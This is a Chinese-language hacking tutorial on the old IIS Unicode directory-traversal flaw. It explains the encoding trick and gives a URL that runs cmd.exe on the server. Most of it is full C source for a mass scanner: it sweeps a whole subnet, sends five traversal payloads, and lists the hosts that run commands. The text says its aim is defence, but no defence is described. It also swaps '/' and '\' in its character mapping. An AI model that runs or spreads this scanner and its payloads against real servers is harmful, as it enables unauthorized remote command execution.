Unicode是如今最热门的漏洞之一,也是比较简单易学的一个漏洞,比如去年5.1中美黑客大战中,使用的就是这个漏洞。如果我们能知道他们所采用的入侵手段,就可以进行有效的防御!今天就让我们一起来了解一下那些黑客是怎样利用该漏洞进行入侵的,目的是通过对这种黑客手段的了解,来找到防御方法。
什么是UNICODE漏洞
NSFOCUS安全小组发现IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。 对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh" 或者"%c0%hh"它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的 解码的格式与下面的格式类似:%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh %c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh 因此,利用这种编码,我们可以构造很多字符,例如: %c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' %c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。 (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容http://www.example.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。
我们来实例分析扫描unicode漏洞
#include "stdafx.h" #include "ForUnicode.h" #include <stdio.h> #include <string.h> #include <winsock2.h> #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // The one and only application object #pragma comment( lib, "ws2_32") CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs cerr << _T("Fatal Error: MFC initialization failed") << endl; nRetCode = 1; } else { // TODO: code your application's behavior here. /* if(argc!=2){ printf("\nUNICODE hole scanner by Maxview. Ver 0.5\n"); printf("Useage : scan [IP address] (C-class)\n"); printf("Example: scan 202.100.2.* OR scan 211.17.65.*\n"); return(1); } */ int sock; struct sockaddr_in blah; struct hostent *he; WSADATA wsaData; WORD wVersionRequested=MAKEWORD(1,1); char buff[1024]; char *exA="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n"; char *exB="GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n"; char *exC="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n"; char *exD="GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n"; char *exE="GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\n\n"; char *fmsg="HTTP/1.1 200 OK"; char host[1000]; char net[1000]; int i; strncpy(host,argv[1],999); if (host[strlen(host)-1]=='*') { host[strlen(host)-1]=0x0; } for (i=1; i<256; i++) { sprintf(net, "%s%d", host, i); //依次产生 xxx.xxx.xxx.1--xxx.xxx.xxx.255 if (WSAStartup(wVersionRequested , &wsaData)){ printf("Winsock Initialization failed.\n"); exit(1); } if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){ printf("Can not create socket.\n"); exit(1); } blah.sin_family = AF_INET; blah.sin_port = htons(80); blah.sin_addr.s_addr= inet_addr(net); if ((he=gethostbyname(net))!=NULL){ memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length); } else{ if((blah.sin_addr.s_addr=inet_addr(net))==INADDR_NONE){ WSACleanup(); exit(1); } } if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){ send(sock,exA,strlen(exA),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-A hole in %s %s\n", net, exA); } else printf("."); send(sock,exB,strlen(exB),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-B hole in %s %s\n", net, exB); } else printf("."); send(sock,exC,strlen(exC),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-C hole in %s %s\n", net, exC); } else printf("."); send(sock,exD,strlen(exD),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-D hole in %s %s\n", net, exD); } else printf("."); send(sock,exE,strlen(exE),0); recv(sock,buff,sizeof(buff),0); if(strstr(buff,fmsg)!=NULL){ printf("\nFound an UNICODE-E hole in %s %s\n", net, exE); } else printf("."); } else printf("Can not connect the address.\n"); closesocket(sock); WSACleanup(); } } return nRetCode; }